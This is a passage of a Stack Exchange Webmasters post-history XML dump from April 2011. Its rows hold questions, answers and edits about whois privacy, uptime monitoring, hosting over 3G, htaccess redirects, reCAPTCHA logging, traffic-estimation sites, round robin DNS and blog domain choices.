http://drupal.org/project/misery&#xD;&#xA;  [8]: http://drupal.org/project/cave" />
  <row Id="30159" PostHistoryTypeId="5" PostId="13063" RevisionGUID="df722bd8-3577-4286-b6d8-63dd9976c59b" CreationDate="2011-04-29T20:44:39.040" UserId="7076" Comment="added 6 characters in body" Text="If nofollow is turned on links in the comment won't matter. If you try putting your site name and link in the body of your comment be ready to get hit by the spam stick." />
  <row Id="30160" PostHistoryTypeId="25" PostId="13113" RevisionGUID="e91f34f2-349a-4d58-ab42-6b6117308418" CreationDate="2011-04-29T21:11:18.713" Comment="http://twitter.com/#!/StackWebmasters/status/64074302303117312" />
  <row Id="30161" PostHistoryTypeId="2" PostId="13116" RevisionGUID="f2817433-df1c-4793-b9f4-aa3de2d5c222" CreationDate="2011-04-29T22:47:04.287" UserId="7198" Text="You could try http://www.whoisguard.com/ -- they say they offer whois privacy protection for 'existing domains' (i.e. without having to transfer them to a different registrar), which sounds like what you're after.&#xD;&#xA;&#xD;&#xA;If it were me, though, I'd just transfer the domain to someone who offers whois protection for free as part of the service (like namecheap), or someone who offers it very cheap (like dynadot), but I appreciate that switching registrars isn't always ideal." />
  <row Id="30162" PostHistoryTypeId="2" PostId="13117" RevisionGUID="e6e193e6-e9c2-4e94-95e3-d7ef57914afc" CreationDate="2011-04-29T23:02:21.277" UserId="7198" Text="http://aremysitesup.com/ offers a free plan with 15 minute interval checking, or a paid plan (from $5.42/month) for 5 minute interval checking.&#xD;&#xA;&#xD;&#xA;If you're just monitoring one site, pingdom's free account offers 1-minute interval checking -- you just need to login once every 90 days to keep it alive: https://www.pingdom.com/signup/free/ (If you're monitoring more than one site, their prices are pretty reasonable, in my opinion.)&#xD;&#xA;&#xD;&#xA;If you're really concerned with uptime you might also like to consider DNS hosting with a [DNS failover service,][1] which monitors your site every 2 to 4 minutes and updates your DNS to point to a backup server should it find that your primary server is down. Of course, this means you need to pay for a backup server, and that you need to mirror the content between the two servers.&#xD;&#xA;&#xD;&#xA;(I'm not affiliated with any of these services, though I've used all of them for different projects.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnsmadeeasy.com/enterprisedns/dnsfailover.html" />
  <row Id="30163" PostHistoryTypeId="25" PostId="13083" RevisionGUID="a1f5ddf8-20c5-4403-b852-e8bdc5253a7c" CreationDate="2011-04-30T00:11:18.910" Comment="http://twitter.com/#!/StackWebmasters/status/64119602073960448" />
  <row Id="30164" PostHistoryTypeId="25" PostId="13100" RevisionGUID="f8f94795-5178-4898-b622-c0d22ed7af0a" CreationDate="2011-04-30T03:11:18.947" Comment="http://twitter.com/#!/StackWebmasters/status/64164899672170496" />
  <row Id="30165" PostHistoryTypeId="17" PostId="13119" RevisionGUID="8c6a3d4c-5f02-4316-a7ec-43feaa85dffa" CreationDate="2011-04-30T04:25:59.297" UserId="-1" Comment="from http://stackoverflow.com/questions/5818576/is-it-possible-to-host-a-site-over-3g/5818648#5818648" Text="" />
  <row Id="30166" PostHistoryTypeId="17" PostId="13120" RevisionGUID="48dd9fc0-faa6-4d4a-b58b-d1ea6c9c328d" CreationDate="2011-04-30T04:25:59.297" UserId="-1" Comment="from http://stackoverflow.com/questions/5818576/is-it-possible-to-host-a-site-over-3g/5818704#5818704" Text="" />
  <row Id="30167" PostHistoryTypeId="2" PostId="13119" RevisionGUID="7e63657d-a604-4972-b750-5eae03f7a25b" CreationDate="2011-04-28T12:34:28.820" UserDisplayName="Karthik Ramachandran" Text="This should be pretty do-able. Have a computer hooked up to a 3g network. Use a dynamic dns service like dyndns to keep track of the ip address of the computer. That should be about it. Of course it'll be horribly slow and it will probably drop off the network every once in a while. Why do you want to do this ?&#xD;&#xA;&#xD;&#xA;I wouldn't be surprised if someone out there has a web server app for your smart phone...pointless but probably pretty easy to do. " />
  <row Id="30168" PostHistoryTypeId="2" PostId="13120" RevisionGUID="b3023cc2-485d-48f4-af4e-3e54f4fb6332" CreationDate="2011-04-28T12:38:05.977" UserDisplayName="KARASZI István" Text="Actually it depends on your provider.&#xD;&#xA;&#xD;&#xA;If you have a public IP address and the 80 TCP port is not blocked than it's possible. You have to make sure that you get the same IP address every time or use dynamic dns as @Karthik mentioned.&#xD;&#xA;&#xD;&#xA;Of course it would be amazingly slow because of the response times (not the speed, because if you compress the response and make it small that would not be a big problem).&#xD;&#xA;&#xD;&#xA;Ohh and I almost forgot to mention that the upload bandwidth is usually smaller than the download on the 3G networks, so keep that in mind also." />
  <row Id="30169" PostHistoryTypeId="2" PostId="13118" RevisionGUID="669155b3-33ac-4364-b0c2-9580b6353b4f" CreationDate="2011-04-28T12:28:48.740" UserDisplayName="Jacob Valenta" Text="I got to thinking about this for a while, is it possible to host a website over a 3g connection? not from a mobile device but from a full server, if you were to have it in a car, could you host the site from there? &#xD;&#xA;&#xD;&#xA;The only way I thought it possible was if port 80 traffic was forwarded to the ip address of the server from the 3g provider, and then obviously point the DNS address of the website to the specific tower?" />
  <row Id="30170" PostHistoryTypeId="1" PostId="13118" RevisionGUID="669155b3-33ac-4364-b0c2-9580b6353b4f" CreationDate="2011-04-28T12:28:48.740" UserDisplayName="Jacob Valenta" Text="Is it possible to host a site over 3g?" />
  <row Id="30171" PostHistoryTypeId="3" PostId="13118" RevisionGUID="669155b3-33ac-4364-b0c2-9580b6353b4f" CreationDate="2011-04-28T12:28:48.740" UserDisplayName="Jacob Valenta" Text="&lt;server&gt;&lt;websites&gt;&lt;host&gt;" />
  <row Id="30172" PostHistoryTypeId="17" PostId="13118" RevisionGUID="16f8ec8b-50cd-45dc-a7b5-dc867343ba0a" CreationDate="2011-04-30T04:25:59.297" UserId="-1" Comment="from http://stackoverflow.com/questions/5818576/is-it-possible-to-host-a-site-over-3g" Text="" />
  <row Id="30173" PostHistoryTypeId="17" PostId="13122" RevisionGUID="c29b1773-e359-4b45-945e-b0c97fa25e75" CreationDate="2011-04-30T05:17:04.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5825747/finding-the-email-account-associated-with-a-ua-xxxxxx-x-id-edit/5825761#5825761" Text="" />
  <row Id="30174" PostHistoryTypeId="2" PostId="13122" RevisionGUID="20fbccb5-0394-435f-962a-22975c459492" CreationDate="2011-04-28T22:28:38.973" UserDisplayName="Mikecito" Text="Contact Google support.  You cannot reverse engineer it, as that would be a large security hole." />
  <row Id="30175" PostHistoryTypeId="2" PostId="13121" RevisionGUID="d6068d69-b885-4e45-9ec8-a1e22a4695fe" CreationDate="2011-04-28T22:27:03.467" UserDisplayName="gio" Text="I setup analytics for a client sometime ago so analyticis tracking code is intalled but I can't for the life of me find which email account I used to set it up so now I can't access the stats - we haven't actually wanted to track anything until now.&#xD;&#xA;&#xD;&#xA;Is it possible to reverse engineer it somehow to find out what email google account is associated with an id like this:&#xD;&#xA;&#xD;&#xA;UA-XXXXXXX-X&#xD;&#xA;" />
  <row Id="30176" PostHistoryTypeId="1" PostId="13121" RevisionGUID="d6068d69-b885-4e45-9ec8-a1e22a4695fe" CreationDate="2011-04-28T22:27:03.467" UserDisplayName="gio" Text="Finding the email/account associated with a &quot;UA-XXXXXX-X&quot; id ?	Edit" />
  <row Id="30177" PostHistoryTypeId="3" PostId="13121" RevisionGUID="d6068d69-b885-4e45-9ec8-a1e22a4695fe" CreationDate="2011-04-28T22:27:03.467" UserDisplayName="gio" Text="&lt;analytics&gt;" />
  <row Id="30178" PostHistoryTypeId="17" PostId="13121" RevisionGUID="5b3dbab2-71f3-4516-8371-8f43e66f42c3" CreationDate="2011-04-30T05:17:04.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5825747/finding-the-email-account-associated-with-a-ua-xxxxxx-x-id-edit" Text="" />
  <row Id="30179" PostHistoryTypeId="25" PostId="13059" RevisionGUID="6f1520de-28cf-46c1-ba90-ddefd42374f3" CreationDate="2011-04-30T06:11:18.830" Comment="http://twitter.com/#!/StackWebmasters/status/64210198297972736" />
  <row Id="30180" PostHistoryTypeId="2" PostId="13123" RevisionGUID="2eeeede8-46c4-4b18-b2d8-1b1244a60fe3" CreationDate="2011-04-29T20:10:35.143" UserDisplayName="bikeboy389" Text="I haven't been able to find any existing questions that cover my exact issue, so here goes:&#xD;&#xA;&#xD;&#xA;My client wants her two sites (domain1.com and domain2.com) rolled into a single, new site under domain1.com. Once the site is ready on domain1.com, DNS for domain2.com would be pointed at the same server as domain1.com. &#xD;&#xA;&#xD;&#xA;I know how to do an htaccess rewrite rule that would make all domain2.com traffic map to a specific single page or directory within domain1.com. But that's not what the client wants.&#xD;&#xA;&#xD;&#xA;What she wants is for a bunch of specific pages on domain2.com to map to specific new pages on domain1.com.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;domain2.com/index.php?pageid=58 GOES TO  domain1.com/2011/04/somearticle&#xD;&#xA;domain2.com/index.php?pageid=92 GOES TO  domain1.com/2011/03/differentname&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;I could put a bunch of 301 redirects in the htaccess on domain1.com, which would work fine. The problem is, the client doesn't want/need specific redirects for ALL the domain2.com pages, and if I just do 301 redirects, anybody who comes looking for a domain2.com page that I haven't built a specific redirect for will get a 404 error.&#xD;&#xA;&#xD;&#xA;So I need to use 301 redirects for some traffic, and a rewrite rule for any traffic that's not covered in the 301 redirects.&#xD;&#xA;&#xD;&#xA;How do I do sort of a blending of a rewrite rule and 301 redirects, all in the htaccess file for domain1.com? Is this possible? Is it as simple as putting the 301 redirects in the htaccess file first, then doing the rewrite rule? I'm guessing not.&#xD;&#xA;" />
  <row Id="30181" PostHistoryTypeId="1" PostId="13123" RevisionGUID="2eeeede8-46c4-4b18-b2d8-1b1244a60fe3" CreationDate="2011-04-29T20:10:35.143" UserDisplayName="bikeboy389" Text="Merging two sites into one, how to redirect from the domain that's going away?" />
  <row Id="30182" PostHistoryTypeId="3" PostId="13123" RevisionGUID="2eeeede8-46c4-4b18-b2d8-1b1244a60fe3" CreationDate="2011-04-29T20:10:35.143" UserDisplayName="bikeboy389" Text="&lt;htaccess&gt;" />
  <row Id="30183" PostHistoryTypeId="17" PostId="13123" RevisionGUID="25f64052-5143-4ad2-a62a-214004d7fc11" CreationDate="2011-04-30T06:13:16.550" UserId="-1" Comment="from http://stackoverflow.com/questions/5836893/merging-two-sites-into-one-how-to-redirect-from-the-domain-thats-going-away" Text="" />
  <row Id="30184" PostHistoryTypeId="2" PostId="13124" RevisionGUID="4151757f-7625-4244-8b41-d0d24702dc44" CreationDate="2011-04-30T06:42:31.153" UserDisplayName="Syed Ali" Text="Of late recaptcha images have become excessively difficult to decipher. Is there any way to get analytics on unsuccessful attempts before a successful one for your website? I'm pretty certain the numbers are going to be bad and something needs to be done about it." />
  <row Id="30185" PostHistoryTypeId="1" PostId="13124" RevisionGUID="4151757f-7625-4244-8b41-d0d24702dc44" CreationDate="2011-04-30T06:42:31.153" UserDisplayName="Syed Ali" Text="Recaptcha statistics" />
  <row Id="30186" PostHistoryTypeId="3" PostId="13124" RevisionGUID="4151757f-7625-4244-8b41-d0d24702dc44" CreationDate="2011-04-30T06:42:31.153" UserDisplayName="Syed Ali" Text="&lt;java&gt;&lt;ruby-on-rails&gt;&lt;captcha&gt;" />
  <row Id="30187" PostHistoryTypeId="17" PostId="13124" RevisionGUID="2a90eae1-67c7-4a74-8183-41ad7d920597" CreationDate="2011-04-30T06:57:51.973" UserId="-1" Comment="from http://stackoverflow.com/questions/5840097/recaptcha-statistics" Text="" />
  <row Id="30188" PostHistoryTypeId="2" PostId="13125" RevisionGUID="5cc1d512-c726-429f-9406-aae364d75d52" CreationDate="2011-04-30T07:47:44.983" UserId="4424" Text="I am curious as to how companies are able to track the number of unique visitors to other people's sites. Seems like an impossible task to me. Any ideas?" />
  <row Id="30189" PostHistoryTypeId="1" PostId="13125" RevisionGUID="5cc1d512-c726-429f-9406-aae364d75d52" CreationDate="2011-04-30T07:47:44.983" UserId="4424" Text="How do sites like alexarank and w3spy.net work?" />
  <row Id="30190" PostHistoryTypeId="3" PostId="13125" RevisionGUID="5cc1d512-c726-429f-9406-aae364d75d52" CreationDate="2011-04-30T07:47:44.983" UserId="4424" Text="&lt;tracking&gt;&lt;users&gt;&lt;visitors&gt;" />
  <row Id="30191" PostHistoryTypeId="2" PostId="13126" RevisionGUID="69268551-f2e8-4092-92a9-4de2cea3d951" CreationDate="2011-04-30T08:24:48.273" UserId="5718" Text="They can't actually track the exact numbers with the level of precision that the owner of the site can. I'm not sure about w3spy.net but Alexa uses a panel to sample a subset of users then combines it with other sources of data to guesstimate the full number. I know that this is also done by other similar companies such as Quantcast and ComScore.&#xD;&#xA;&#xD;&#xA;Panels consist of users that are willing to let such companies track their browsing capabilities. This is usually done with a browser plugin, commonly a toolbar. The numbers need to be taken with a pinch of salt given that the samples might not always be representative of the whole population." />
  <row Id="30192" PostHistoryTypeId="2" PostId="13127" RevisionGUID="23dc1b18-86fa-4c24-b34f-b523f34e0a23" CreationDate="2011-04-30T08:30:53.477" UserId="7198" Text="People agree to anonymously share their browsing habits with these company in return for perks, such as toolbars and analytics packages. The company uses these habits and mines data from other sources (e.g. other companies like them) to build an estimate of traffic flow.&#xD;&#xA;&#xD;&#xA;From Alexa's [about page:][1]&#xD;&#xA;&#xD;&#xA;&gt; The traffic rank is based on three months of aggregated historical traffic data from millions of Alexa Toolbar users and data obtained from other, diverse traffic data sources, and is a combined measure of page views and users (reach).&#xD;&#xA;&#xD;&#xA;From Compete's [homepage:][2]&#xD;&#xA;&#xD;&#xA;&gt; Compete's data comes from a statistically representative cross-section of 2 million consumers across the United States who have given permission to have their internet clickstream behaviors and opt-in survey responses analyzed anonymously as a new source of marketing research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;W3Spy has a similar Firefox and Chrome extension, so they probably use this to gather data in addition to other sources such as [Google Trends][3] and competing services.&#xD;&#xA;&#xD;&#xA;In short, none of these sites track total unique visitors; instead, they track a small proportion of visitors whose data they have access to, then try to guess the bigger picture based on third party data and an algorithm they each fine tune over time. As a result, alexa and compete traffic data isn't a completely accurate representation of traffic; it's a (nearly) blind best guess.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/help/traffic_learn_more&#xD;&#xA;  [2]: http://compete.com/&#xD;&#xA;  [3]: http://www.google.com/trends?q=compete.com,%20alexa.com" />
  <row Id="30193" PostHistoryTypeId="2" PostId="13128" RevisionGUID="b2d296a4-5b28-4b55-a473-9665c2e44bb1" CreationDate="2011-04-30T08:52:32.647" UserId="7198" Text="If you use [reCAPTCHA,][1] you can use the [reCAPTCHA Ruby library][2] to log the number of failed attempts:&#xD;&#xA;&#xD;&#xA;    if validate_recap(params, @user.errors)&#xD;&#xA;          #user validated the captcha, create an account&#xD;&#xA;    else&#xD;&#xA;          #user failed to validate, log the attempt and show a new captcha&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Using the reCAPTCHA library helps digitise books while reducing scripted signups, so it's worth sticking with it, but if you're worried that its affecting signups and want an alternative, you might consider using [Mollom,][3] [Akismet,][4] or [Defensio,][5] all of which attempt to grade form input to assess whether its human or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha&#xD;&#xA;  [2]: https://bitbucket.org/mml/ruby-recaptcha/wiki/Home&#xD;&#xA;  [3]: http://mollom.com/&#xD;&#xA;  [4]: http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/&#xD;&#xA;  [5]: http://www.defensio.com/" />
  <row Id="30194" PostHistoryTypeId="5" PostId="13127" RevisionGUID="3e4f8c97-a6d5-433c-8c04-ed8b202bd5f4" CreationDate="2011-04-30T08:53:40.257" UserId="7198" Comment="added 2 characters in body; edited body" Text="People agree to anonymously share their browsing habits with these companies in return for perks, such as toolbars and analytics packages. The companies use these habits and mine data from other sources (e.g. other companies like them) to build an estimate of traffic flow.&#xD;&#xA;&#xD;&#xA;From Alexa's [about page:][1]&#xD;&#xA;&#xD;&#xA;&gt; The traffic rank is based on three months of aggregated historical traffic data from millions of Alexa Toolbar users and data obtained from other, diverse traffic data sources, and is a combined measure of page views and users (reach).&#xD;&#xA;&#xD;&#xA;From Compete's [homepage:][2]&#xD;&#xA;&#xD;&#xA;&gt; Compete's data comes from a statistically representative cross-section of 2 million consumers across the United States who have given permission to have their internet clickstream behaviors and opt-in survey responses analyzed anonymously as a new source of marketing research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;W3Spy has a similar Firefox and Chrome extension, so they probably use this to gather data in addition to other sources such as [Google Trends][3] and competing services.&#xD;&#xA;&#xD;&#xA;In short, none of these sites track total unique visitors; instead, they track a small proportion of visitors whose data they have access to, then try to guess the bigger picture based on third party data and an algorithm they each fine tune over time. As a result, alexa and compete traffic data isn't a completely accurate representation of traffic; it's a (nearly) blind best guess.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/help/traffic_learn_more&#xD;&#xA;  [2]: http://compete.com/&#xD;&#xA;  [3]: http://www.google.com/trends?q=compete.com,%20alexa.com" />
  <row Id="30195" PostHistoryTypeId="25" PostId="13125" RevisionGUID="307de442-dc3c-48ca-a30c-dc9ce3abc392" CreationDate="2011-04-30T09:11:18.543" Comment="http://twitter.com/#!/StackWebmasters/status/64255496013611008" />
  <row Id="30199" PostHistoryTypeId="2" PostId="13130" RevisionGUID="7450638b-c087-4910-b4f4-947276be3835" CreationDate="2011-04-30T11:46:46.170" UserId="7206" Text="There is a link on the page of the MODx site. By clicking on this link I turn to another page. Want to transfer all [content] from the first page to a new page and display it.&#xD;&#xA;Thank you." />
  <row Id="30200" PostHistoryTypeId="1" PostId="13130" RevisionGUID="7450638b-c087-4910-b4f4-947276be3835" CreationDate="2011-04-30T11:46:46.170" UserId="7206" Text="[MODx] How can I transfer [content] from one page to another?" />
  <row Id="30201" PostHistoryTypeId="3" PostId="13130" RevisionGUID="7450638b-c087-4910-b4f4-947276be3835" CreationDate="2011-04-30T11:46:46.170" UserId="7206" Text="&lt;websites&gt;" />
  <row Id="30205" PostHistoryTypeId="25" PostId="13124" RevisionGUID="cf31546e-0cfd-417b-854b-785083ca2e00" CreationDate="2011-04-30T12:11:19.160" Comment="http://twitter.com/#!/StackWebmasters/status/64300796149366784" />
  <row Id="30206" PostHistoryTypeId="17" PostId="13132" RevisionGUID="16bb39a9-59d5-4431-8cfd-978d95d5a530" CreationDate="2011-04-30T12:21:45.663" UserId="-1" Comment="from http://superuser.com/questions/277370/pointing-two-ips-to-one-domain-name/277372#277372" Text="" />
  <row Id="30207" PostHistoryTypeId="2" PostId="13132" RevisionGUID="fa9def03-3db1-4680-bc8b-c26e0d6650d6" CreationDate="2011-04-30T10:34:01.890" UserId="5216" Text="Its called round robin DNS - you just set them both as A type records, and it should connect to either one. " />
  <row Id="30208" PostHistoryTypeId="2" PostId="13131" RevisionGUID="906a723c-869b-4440-9dc0-0f9ae32695a6" CreationDate="2011-04-30T10:27:23.753" UserDisplayName="Azeez" Text="Pointing two IPs to one domain name&#xD;&#xA;I have setup Eg:&#xD;&#xA;&#xD;&#xA;app.test.com IP1  &#xD;&#xA;app.test.com IP2&#xD;&#xA;&#xD;&#xA;Domain name should point the the IP which ever is UP" />
  <row Id="30209" PostHistoryTypeId="1" PostId="13131" RevisionGUID="906a723c-869b-4440-9dc0-0f9ae32695a6" CreationDate="2011-04-30T10:27:23.753" UserDisplayName="Azeez" Text="Pointing two IPs to one domain name" />
  <row Id="30210" PostHistoryTypeId="3" PostId="13131" RevisionGUID="906a723c-869b-4440-9dc0-0f9ae32695a6" CreationDate="2011-04-30T10:27:23.753" UserDisplayName="Azeez" Text="&lt;dns&gt;" />
  <row Id="30211" PostHistoryTypeId="17" PostId="13131" RevisionGUID="78a60a91-4183-4fda-85dd-051f1c694ff3" CreationDate="2011-04-30T12:21:45.663" UserId="-1" Comment="from http://superuser.com/questions/277370/pointing-two-ips-to-one-domain-name" Text="" />
  <row Id="30212" PostHistoryTypeId="2" PostId="13133" RevisionGUID="0163e19f-e540-4fb5-9ece-dd9ee1604414" CreationDate="2011-04-30T12:22:52.227" UserId="6858" Text="There are loads of them on Dynamic Drive - [horizontal](http://www.dynamicdrive.com/style/csslibrary/category/C1/) and [vertical](http://www.dynamicdrive.com/style/csslibrary/category/C2/).&#xD;&#xA;&#xD;&#xA;You can use them in any end-user project, but not resell or redistribute them.&#xD;&#xA;" />
  <row Id="30213" PostHistoryTypeId="2" PostId="13134" RevisionGUID="5fc84d34-dfe0-450b-a459-c5b6e3b70e04" CreationDate="2011-04-30T12:35:35.663" UserId="6858" Text="From what I understand you are serving up content from your site to client sites, and you want the client sites to get the rep for the content?&#xD;&#xA;&#xD;&#xA;Google does now parse some JavaScript, though not all of it and not consistently. Your best bit would be to follow the link @Shaz provided http://code.google.com/web/ajaxcrawling and work with your clients to implement that.&#xD;&#xA;&#xD;&#xA;Unfortunately, that does place some restrictions on your clients' URL structures but I don't know of any other way to do this." />
  <row Id="30214" PostHistoryTypeId="2" PostId="13135" RevisionGUID="cabf4e5e-13b3-4ef9-bc30-22dc028239f7" CreationDate="2011-04-30T12:44:27.497" UserId="6858" Text="I'm not sure what language you're thinking of building in, but here's a PHP library based on the LinkedIn API.&#xD;&#xA;&#xD;&#xA;http://developer.linkedin.com/thread/1439" />
  <row Id="30215" PostHistoryTypeId="2" PostId="13136" RevisionGUID="ae1934b7-092c-40ca-a2e2-08217252c9c2" CreationDate="2011-04-30T12:56:26.597" UserId="6858" Text="The big advantage is future flexibility. If in 5 years time, Tumblr closes down you lose everything - all the SEO value of your content, your customers' bookmarks, etc. You can migrate the content, but you'll be starting from scratch with marketing.&#xD;&#xA;&#xD;&#xA;If you put it on your own domain, and Tumblr closes down, you can switch to Wordpress.com, migrate the content, format the links in the same way, and nobody need even know that you have moved.&#xD;&#xA;&#xD;&#xA;The only disadvantage of having it at mycompany.tumblr.com is the extra maintenance involved. You now have to maintain the domain name and the DNS settings, and keep an eye on the security of your domain name, which Tumblr does for you when it's on their domain.&#xD;&#xA;&#xD;&#xA;However, this isn't a big deal - you can register the domain for 10 years at a time, and you should be doing the DNS stuff anyway if you already have a website at mycompany.com.&#xD;&#xA;&#xD;&#xA;The advice I usually give is - at some point you will _have_ to do this, and the sooner you do it, the smaller the headache involved." />
  <row Id="30216" PostHistoryTypeId="2" PostId="13137" RevisionGUID="455236a7-8f98-4a1e-a685-1431bb593ac4" CreationDate="2011-04-30T13:18:10.307" UserId="6858" Text="If your company is called &quot;Liam's Company&quot; and your main website is at &quot;liamscompany.com&quot; then you can put the blog either at &quot;liamscompany.com/blog&quot; or &quot;blog.liamscompany.com&quot;.&#xD;&#xA;&#xD;&#xA;Personally, I prefer the former, because it tends to have fewer technical issues, but the latter also works (especially now that Google recognises the link between the different subdomains).&#xD;&#xA;&#xD;&#xA;The problem with liamscompanyblog.com is that it really makes things confusing for:&#xD;&#xA;&#xD;&#xA;* Marketing - do you point users to liamscompany.com or liamscompanyblog.com or both?&#xD;&#xA;* SEO - you are now trying to get backlinks for two sites, so both sites will have less value rather both being added together&#xD;&#xA;* Reputation - a lot of fake sites exist with a real company name and blog just appended on the end. You have to spend unnecessary time establishing that this is a real blog.&#xD;&#xA;* Technical - with two domains, you start to get issues like browsers blocking requests between two domains (to prevent XSS attacks), cookies (making your web analytics less reliable)&#xD;&#xA;* Legal - does somebody who opts-in on liamscompanyblog.com has registered to receive email from liamscompany.com?&#xD;&#xA;&#xD;&#xA;It's possible to get round these issues, but why bother spending your time on this when you could be writing great content.&#xD;&#xA;&#xD;&#xA;There are only 2 reasons I can think of why you wouldn't do this:&#xD;&#xA;&#xD;&#xA;1. If your blog is not 100% representative of what you do. For example, if you are a clothes company, but your blog talks a lot about the technical difficulties of running a clothes website, Google is going to be confused as to what your website is about so you could get sandboxed.&#xD;&#xA;2. Your blog is about the person rather than the company, with personal opinions and content that are not necessarily company related. This is partly an extension of #1 (if the CEO of a clothes company starts writing about his new car, that's going to look odd for Google). And partly because it separates things legally - these opinions are not representative of the company, etc. Plus, if your CEO leaves, he keeps his blog and it's not connected with you any more." />
  <row Id="30217" PostHistoryTypeId="2" PostId="13138" RevisionGUID="066d6a13-41a8-4f86-8367-ad1cdd857a87" CreationDate="2011-04-30T12:42:57.357" UserDisplayName="p2pnode" Text="I have vaguely heard of CDNs (Content Distribution Network) and I suppose they come into picture in context of multimedia(audio/video) online sites like youtube. My question is what really are these CDNs?. Do they just mean that data is replicated at many nodes, so a user request is catered from the node nearest to him/her or is most accessible? In such case, how are they different from banking infrastructure where sensitive data is replicated at many places so that if a node crashes, we don't lose the critical data.&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="30218" PostHistoryTypeId="1" PostId="13138" RevisionGUID="066d6a13-41a8-4f86-8367-ad1cdd857a87" CreationDate="2011-04-30T12:42:57.357" UserDisplayName="p2pnode" Text="Where does content distribution network come into picture for youtube.." />
  <row Id="30219" PostHistoryTypeId="3" PostId="13138" RevisionGUID="066d6a13-41a8-4f86-8367-ad1cdd857a87" CreationDate="2011-04-30T12:42:57.357" UserDisplayName="p2pnode" Text="&lt;google&gt;&lt;youtube&gt;&lt;cdn&gt;&lt;online&gt;" />
  <row Id="30220" PostHistoryTypeId="17" PostId="13138" RevisionGUID="37fa76f6-698f-49d6-87ce-776e7ac274b6" CreationDate="2011-04-30T13:25:56.847" UserId="-1" Comment="from http://stackoverflow.com/questions/5841805/where-does-content-distribution-network-come-into-picture-for-youtube" Text="" />
  <row Id="30221" PostHistoryTypeId="25" PostId="13131" RevisionGUID="938722f2-82d0-4c89-bfdc-3955bb04b94f" CreationDate="2011-04-30T15:11:18.623" Comment="http://twitter.com/#!/StackWebmasters/status/64346092766109696" />
  <row Id="30222" PostHistoryTypeId="2" PostId="13139" RevisionGUID="51c08d89-cc76-4739-b091-877dac0af106" CreationDate="2011-04-30T15:54:28.523" UserId="7209" Text="The [Daisy CMS][1] has gained some traction in academia. It is a robust CMS with a wiki-based front-end that supports the kind of content silo'ing and permissions schemes that you describe. It is very extensible in terms of styling, structuring content, and user interface (custom content editors, workflows, etc). &#xD;&#xA;&#xD;&#xA;Content can be confined to a &quot;sub-site&quot; within the application, or shared across multiple areas. Daisy also has great APIs to support things like content import/export, content synchronization, and publishing (to HTML or PDF). &#xD;&#xA;&#xD;&#xA;If you have any multilingual needs, then Daisy's localization support has no peer, commercial or otherwise. &#xD;&#xA;&#xD;&#xA;It is open-source and Java based. Runs on Windows and Linux equally well, and supports LDAP for authentication. Drop me a line if you'd like more info. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://daisycms.org" />
  <row Id="30224" PostHistoryTypeId="5" PostId="13121" RevisionGUID="63ac9357-a5d8-4cfd-aabb-fa50ef9cc425" CreationDate="2011-04-30T16:15:21.027" UserId="1010" Comment="Retitle, retag, grammar cleanup" Text="I set up Google Analytics for a client some time ago, so the tracking code is installed.   I can't for the life of me find which email account I used to set it up, so now I can't access the stats.  We haven't actually wanted to track anything until now.&#xD;&#xA;&#xD;&#xA;Is it possible to somehow find out what email/Google account is associated with the `UA-XXXXXXX-X` id?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30225" PostHistoryTypeId="4" PostId="13121" RevisionGUID="63ac9357-a5d8-4cfd-aabb-fa50ef9cc425" CreationDate="2011-04-30T16:15:21.027" UserId="1010" Comment="Retitle, retag, grammar cleanup" Text="Finding the email/account associated with a Google Analytics &quot;UA-XXXXXX-X&quot; id?" />
  <row Id="30226" PostHistoryTypeId="6" PostId="13121" RevisionGUID="63ac9357-a5d8-4cfd-aabb-fa50ef9cc425" CreationDate="2011-04-30T16:15:21.027" UserId="1010" Comment="Retitle, retag, grammar cleanup" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="30227" PostHistoryTypeId="24" PostId="13121" RevisionGUID="63ac9357-a5d8-4cfd-aabb-fa50ef9cc425" CreationDate="2011-04-30T16:15:21.027" Comment="Proposed by 1010 approved by 108 edit id of 239" />
  <row Id="30228" PostHistoryTypeId="5" PostId="13128" RevisionGUID="073e4295-eae3-47e0-9d09-f8e702cadb23" CreationDate="2011-04-30T16:49:10.967" UserId="7198" Comment="deleted 14 characters in body" Text="If you use [reCAPTCHA,][1] you can use the [reCAPTCHA Ruby library][2] to log the number of failed attempts:&#xD;&#xA;&#xD;&#xA;    if validate_recap(params)&#xD;&#xA;          #user validated the captcha, create an account&#xD;&#xA;    else&#xD;&#xA;          #user failed to validate, log the attempt and show a new captcha&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Using the reCAPTCHA library helps digitise books while reducing scripted signups, so it's worth sticking with it, but if you're worried that its affecting signups and want an alternative, you might consider using [Mollom,][3] [Akismet,][4] or [Defensio,][5] all of which attempt to grade form input to assess whether its human or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha&#xD;&#xA;  [2]: https://bitbucket.org/mml/ruby-recaptcha/wiki/Home&#xD;&#xA;  [3]: http://mollom.com/&#xD;&#xA;  [4]: http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/&#xD;&#xA;  [5]: http://www.defensio.com/" />
  <row Id="30229" PostHistoryTypeId="25" PostId="13138" RevisionGUID="20678a07-5ca0-4528-b9bf-a5cb16ea1a12" CreationDate="2011-04-30T18:11:18.663" Comment="http://twitter.com/#!/StackWebmasters/status/64391391924588544" />
